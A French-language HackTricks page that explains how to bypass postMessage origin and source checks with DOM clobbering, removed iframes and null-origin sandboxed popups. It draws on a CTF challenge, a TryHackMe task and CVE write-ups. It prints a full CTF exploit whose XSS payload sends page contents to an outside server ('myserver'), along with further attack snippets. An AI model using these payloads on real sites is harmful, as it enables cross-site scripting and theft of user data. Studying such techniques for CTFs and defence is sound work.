Bypassing SOP with Iframes - 2
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Iframes in SOP-2
Dans la solution pour ce challenge, @Strellic_ propose une méthode similaire à la section précédente. Examinons-la.
Dans ce challenge l’attaquant doit bypass ceci:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
S’il le fait, il peut envoyer un postmessage contenant du HTML qui sera écrit dans la page avec innerHTML sans assainissement (XSS).
La façon de contourner la première vérification consiste à faire en sorte que window.calc.contentWindow soit undefined et que e.source soit null :
window.calc.contentWindowest en faitdocument.getElementById("calc"). Vous pouvez écraserdocument.getElementByIdavec<img name=getElementById />(notez que la Sanitizer API -ici- n’est pas configurée pour se protéger contre les attaques de DOM clobbering dans son état par défaut).- Par conséquent, vous pouvez écraser
document.getElementById("calc")avec<img name=getElementById /><div id=calc></div>. Ensuite,window.calcseraundefined. - Maintenant, nous avons besoin que
e.sourcesoitundefinedounull(parce que==est utilisé au lieu de===,null == undefinedestTrue). Obtenir ceci est « facile ». Si vous créez un iframe et envoyez un postMessage depuis celui-ci puis supprimez immédiatement l’iframe,e.originseranull. Regardez le code suivant
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Pour contourner la deuxième vérification concernant token, il faut envoyer token avec la valeur null et faire en sorte que la valeur de window.token soit undefined :
- Envoyer
tokendans le postMessage avec la valeurnullest trivial. window.tokenprovient de l’appel de la fonctiongetCookiequi utilisedocument.cookie. Notez que tout accès àdocument.cookiedepuis des pages d’originenulldéclenche une erreur. Cela fera quewindow.tokenaura la valeurundefined.
La solution finale par @terjanq est la suivante :
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
Une tâche récente de TryHackMe (“Vulnerable Codes”) démontre comment les popups OAuth peuvent être détournés lorsque l’opener se trouve à l’intérieur d’un sandboxed iframe qui n’autorise que les scripts et les popups. L’iframe sandboxed force à la fois lui-même et le popup dans une “null” origin, donc les handlers qui vérifient if (origin !== window.origin) return échouent silencieusement parce que window.origin à l’intérieur du popup est aussi "null". Même si le navigateur expose toujours le réel location.origin, la victim ne l’inspecte jamais, si bien que les attacker-controlled messages passent sans encombre.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
Takeaways for abusing that setup:
- Les handlers qui comparent
originavecwindow.originà l’intérieur du popup peuvent être contournés car les deux s’évaluent à"null", donc les messages falsifiés semblent légitimes. - Les sandboxed iframes qui accordent
allow-popupsmais omettentallow-same-origingénèrent quand même des popups verrouillés sur l’origine null contrôlée par l’attaquant, vous donnant une enclave stable même dans les builds Chromium de 2025.
Source-nullification & frame-restriction bypasses
Des writeups de l’industrie autour de CVE-2024-49038 mettent en évidence deux primitives réutilisables pour cette page : (1) vous pouvez toujours interagir avec des pages qui définissent X-Frame-Options: DENY en les lançant via window.open et en postant des messages une fois que la navigation s’est stabilisée, et (2) vous pouvez brute-force les vérifications event.source == victimFrame en supprimant l’iframe immédiatement après l’envoi d’un message afin que le récepteur ne voie que null dans le handler.
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Combinez cela avec l’astuce DOM-clobbering ci-dessus : une fois que le récepteur ne voit plus que event.source === null, toute comparaison contre window.calc.contentWindow ou similaire s’effondre, vous permettant d’envoyer à nouveau des sinks HTML malveillants via innerHTML.
Références
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

